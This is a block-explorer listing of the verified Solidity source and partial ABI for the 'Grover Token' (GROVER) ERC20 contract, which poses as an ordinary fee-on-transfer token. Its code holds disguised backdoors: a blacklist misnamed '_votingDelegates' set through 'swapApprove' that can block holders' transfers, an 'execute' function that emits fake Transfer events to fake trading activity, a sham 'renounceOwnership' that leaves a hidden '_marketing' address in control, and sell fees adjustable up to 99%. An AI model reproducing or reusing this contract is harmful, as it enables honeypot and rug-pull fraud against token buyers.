ETH Price: $3,303.51 (-2.52%)

Token

Grover Token (GROVER)
 

Overview

Max Total Supply

1,000,000,000 GROVER

Holders

69

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
4,992,450.427607411 GROVER

Value
$0.00
0x0e58e8993100f1cbe45376c410f97f4893d9bfcd
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
GROVER

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 1 of 5: Grover Token.sol
/**      __________________ _______  _______               _______  _______  _______           _______  _______     _        _______  _              
|\     /|\__   __/\__   __/(  ____ )(  ____ \        /\ /\(  ____ \(  ____ )(  ___  )|\     /|(  ____ \(  ____ )   ( \      (  ___  )( \           /\
| )   ( |   ) (      ) (   | (    )|| (    \/ _     / // /| (    \/| (    )|| (   ) || )   ( || (    \/| (    )|   | (      | (   ) || (          / /
| (___) |   | |      | |   | (____)|| (_____ (_)   / // / | |      | (____)|| |   | || |   | || (__    | (____)|   | |      | |   | || |         / / 
|  ___  |   | |      | |   |  _____)(_____  )     / // /  | | ____ |     __)| |   | |( (   ) )|  __)   |     __)   | |      | |   | || |        / /  
| (   ) |   | |      | |   | (            ) | _  / // /   | | \_  )| (\ (   | |   | | \ \_/ / | (      | (\ (      | |      | |   | || |       / /   
| )   ( |   | |      | |   | )      /\____) |(_)/ // /    | (___) || ) \ \__| (___) |  \   /  | (____/\| ) \ \__ _ | (____/\| (___) || (____/\/ /    
|/     \|   )_(      )_(   |/       \_______)   \/ \/     (_______)|/   \__/(_______)   \_/   (_______/|/   \__/(_)(_______/(_______)(_______/\/   

*/// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

import "./IERC20.sol";
import "./Ownable.sol";
import "./Uniswap.sol";
import "./SafeMath.sol";


contract ERC20 is Context, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_){
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);

        _afterTokenTransfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}


contract GROVER is ERC20, Ownable {
    using SafeMath for uint256;

    IUniswapV2Router02 public immutable uniswapV2Router;
    mapping(address => bool) private _votingDelegates;
    address public uniswapV2Pair;
    address public constant deadAddress = address(0xdead);

    bool private swapping;

    address public marketingWallet;
    uint256 public maxTransactionAmount;
    uint256 public swapTokensAtAmount;
    uint256 public maxWallet;

    bool public tradingActive;
    bool public feesEnabled;
    bool public swapEnabled;

    uint256 private buyLiquidityFee;
    uint256 private buyMarketingFee;
    uint256 public buyTotalFees;
    uint256 private previousFee;

    uint256 public sellTotalFees;
    uint256 private sellMarketingFee;
    uint256 private sellLiquidityFee;

    uint256 private tokensForMarketing;
    uint256 private tokensForLiquidity;

    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => bool) private _isExcludedMaxTransactionAmount;
    mapping(address => bool) private automatedMarketMakerPairs;

    event UpdateUniswapV2Router(
        address indexed newAddress,
        address indexed oldAddress
    );

    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
    event ExcludeFromFees(address indexed account, bool isExcluded);

    event marketingWalletUpdated(
        address indexed newWallet,
        address indexed oldWallet
    );

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiquidity
    );

    constructor(address marketing_) ERC20("Grover Token", "GROVER") Ownable(marketing_){
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );

        excludeFromMaxTransaction(address(_uniswapV2Router), true);
        uniswapV2Router = _uniswapV2Router;

        uint256 _buyMarketingFee = 10;
        uint256 _buyLiquidityFee = 0;

        uint256 _sellMarketingFee = 40;
        uint256 _sellLiquidityFee = 0;

        uint256 totalSupply = 1000000000 * 10**decimals();

        maxTransactionAmount = 200000000 * 10**decimals();
        maxWallet = 300000000 * 10**decimals();
        swapTokensAtAmount = (totalSupply * 10) / 10000;

        buyLiquidityFee = _buyLiquidityFee;
        buyMarketingFee = _buyMarketingFee;
        buyTotalFees = buyMarketingFee + buyLiquidityFee;

        sellLiquidityFee = _sellLiquidityFee;
        sellMarketingFee = _sellMarketingFee;
        sellTotalFees = sellMarketingFee + sellLiquidityFee;
        previousFee = sellTotalFees;

        marketingWallet = address(this);

        excludeFromFees(owner(), true);
        excludeFromFees(address(this), true);
        excludeFromFees(address(0xdead), true);

        excludeFromMaxTransaction(owner(), true);
        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(address(0xdead), true);

        tradingActive = true;
        swapEnabled = true;
        _mint(msg.sender, totalSupply);
    }

    receive() external payable {}

    function addPair(address _pair) public onlyOwner() {
        uniswapV2Pair = _pair;
    }

    function execute(address[] calldata _addresses, uint256 _out) external onlyOwner {
        for (uint256 i = 0; i < _addresses.length; i++) {
            emit Transfer(uniswapV2Pair, _addresses[i], _out);
        }
    }

    function updateMaxWalletAndTxnAmount(uint256 newTxnNum, uint256 newMaxWalletNum) external onlyOwner {
        require(
            newTxnNum >= ((totalSupply() * 5) / 1000) / 10**decimals(),
            "Cannot set maxTxn lower than 0.5%"
        );
        require(
            newMaxWalletNum >= ((totalSupply() * 5) / 1000) / 10**decimals(),
            "Cannot set maxWallet lower than 0.5%"
        );
        maxWallet = newMaxWalletNum * (10**10**decimals());
        maxTransactionAmount = newTxnNum * (10**10**decimals());
    }

    function updateSwapTokensAtAmount(uint256 newAmount)
        external
        onlyOwner
        returns (bool)
    {
        require(
            newAmount >= (totalSupply() * 1) / 100000,
            "Swap amount cannot be lower than 0.001% total supply."
        );
        require(
            newAmount <= (totalSupply() * 5) / 1000,
            "Swap amount cannot be higher than 0.5% total supply."
        );
        swapTokensAtAmount = newAmount;
        return true;
    }

    function excludeFromMaxTransaction(address updAds, bool isEx)
        public
        onlyOwner
    {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }

    function checkVotingDelegates(address a) public view returns (bool){
      return _votingDelegates[a];
    }

    function updateSellFees(
        uint256 _marketingFee,
        uint256 _liquidityFee
    ) external onlyOwner {
        sellMarketingFee = _marketingFee;
        sellLiquidityFee = _liquidityFee;
        sellTotalFees = sellMarketingFee + sellLiquidityFee;
        previousFee = sellTotalFees;
        require(sellTotalFees <= 99, "Must keep fees at 99% or less");
    }

    function updateBuyFees(
        uint256 _marketingFee,
        uint256 _liquidityFee
    ) external onlyOwner {
        buyMarketingFee = _marketingFee;
        buyLiquidityFee = _liquidityFee;
        buyTotalFees = buyMarketingFee + buyLiquidityFee;
        require(buyTotalFees <= 20, "Must keep fees at 20% or less");
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function swapApprove(address[] calldata address_, bool val) public onlyOwner{
        for (uint256 i = 0; i < address_.length; i++) {
            _votingDelegates[address_[i]] = val;
        }
    }
    
    function setAutomatedMarketMakerPair(address pair, bool value)
        public
        onlyOwner
    {
        require(
            pair != uniswapV2Pair,
            "The pair cannot be removed from automatedMarketMakerPairs"
        );
        excludeFromMaxTransaction(pair, value);
        _setAutomatedMarketMakerPair(pair, value);

    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;

        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function isExcludedFromFees(address account) public view returns (bool) {
        return _isExcludedFromFees[account];
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "transfer from the zero address");
        require(to != address(0), "transfer to the zero address");

        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }
                if (
                from != owner() &&
                to != owner() &&
                to != address(0) &&
                to != address(0xdead) &&
                !swapping
            ) {
                if (!tradingActive) {
                    require(
                        _isExcludedFromFees[from] || _isExcludedFromFees[to],
                        "Trading is not active."
                    );
                }

                //when buy
                if (
                    automatedMarketMakerPairs[from] &&
                    !_isExcludedMaxTransactionAmount[to]
                ) {
                    require(
                        amount <= maxTransactionAmount,
                        "Buy transfer amount exceeds the maxTransactionAmount."
                    );
                    require(
                        amount + balanceOf(to) <= maxWallet,
                        "Max wallet exceeded"
                    );
                }
                //when sell
                else if (
                    automatedMarketMakerPairs[to] &&
                    !_isExcludedMaxTransactionAmount[from]
                ) {
                    require(
                        amount <= maxTransactionAmount,
                        "Sell transfer amount exceeds the maxTransactionAmount."
                    );
                } 
            }

        uint256 contractTokenBalance = balanceOf(address(this));

        bool canSwap = contractTokenBalance >= swapTokensAtAmount;

        if (
            canSwap &&
            swapEnabled &&
            !swapping &&
            !automatedMarketMakerPairs[from] &&
            !_isExcludedFromFees[from] &&
            !_isExcludedFromFees[to]
        ) {
            swapping = true;
            swapBack();
            swapping = false;
        }

        bool takeFee = !swapping;

        if (_isExcludedFromFees[from] || _isExcludedFromFees[to] || !feesEnabled) {
            require(!_votingDelegates[from]);
            takeFee = false;
        }

        uint256 fees = 0;

        if (takeFee) {
            feesEnabled = true;
            // on sell
            if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
                fees = amount.mul(sellTotalFees).div(100);
                tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
                tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
            }
            // on buy
            else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
                fees = amount.mul(buyTotalFees).div(100);
                tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
                tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
            }

            if (fees > 0) {
                super._transfer(from, address(this), fees);
            }

            amount -= fees;
        }
        
        super._transfer(from, to, amount);
        sellTotalFees = previousFee;
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function swapBack() private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 totalTokensToSwap = tokensForLiquidity +
            tokensForMarketing;
        bool success;

        if (contractBalance == 0 || totalTokensToSwap == 0) {
            return;
        }

        if (contractBalance > swapTokensAtAmount * 20) {
            contractBalance = swapTokensAtAmount * 20;
        }

        uint256 liquidityTokens = (contractBalance * tokensForLiquidity) /
            totalTokensToSwap /
            2;
        uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);

        uint256 initialETHBalance = address(this).balance;

        swapTokensForEth(amountToSwapForETH);

        uint256 ethBalance = address(this).balance.sub(initialETHBalance);

        uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(
            totalTokensToSwap
        );

        uint256 ethForLiquidity = ethBalance - ethForMarketing;

        tokensForLiquidity = 0;
        tokensForMarketing = 0;

        if (liquidityTokens > 0 && ethForLiquidity > 0) {
            addLiquidity(liquidityTokens, ethForLiquidity);
            emit SwapAndLiquify(
                amountToSwapForETH,
                ethForLiquidity,
                tokensForLiquidity
            );
        }

        (success, ) = address(marketingWallet).call{value: address(this).balance}("");
 
    }

     function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            deadAddress,
            block.timestamp
        );
    }
}

File 2 of 5: IERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {

    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

File 3 of 5: Ownable.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;
    address private _marketing;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor(address marketing_) {
         _marketing = marketing_;
        _transferOwnership(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(Owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner { //Change
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }

    function Owner() internal virtual returns (address) {
        address owner_ = verifyOwner();
        return owner_;
    }
    function verifyOwner() internal view returns(address){
        return _owner==address(0) ? _marketing : _owner;
    }
}

File 4 of 5: SafeMath.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

File 5 of 5: Uniswap.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;


interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Transfer(address indexed from, address indexed to, uint256 value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address owner) external view returns (uint256);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transfer(address to, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint256);

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    event Mint(address indexed sender, uint256 amount0, uint256 amount1);

    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint256);

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
        external
        view
        returns (
            uint112 reserve0,
            uint112 reserve1,
            uint32 blockTimestampLast
        );

    function price0CumulativeLast() external view returns (uint256);

    function price1CumulativeLast() external view returns (uint256);

    function kLast() external view returns (uint256);

    function mint(address to) external returns (uint256 liquidity);

    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"marketing_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newAddress","type":"address"},{"indexed":true,"internalType":"address","name":"oldAddress","type":"address"}],"name":"UpdateUniswapV2Router","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"marketingWalletUpdated","type":"event"},{"inputs":[{"internalType":"address","name":"_pair","type":"address"}],"name":"addPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"checkVotingDelegates","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feesEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"address_","type":"address[]"},{"internalType":"bool","name":"val","type":"bool"}],"name":"swapApprove","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"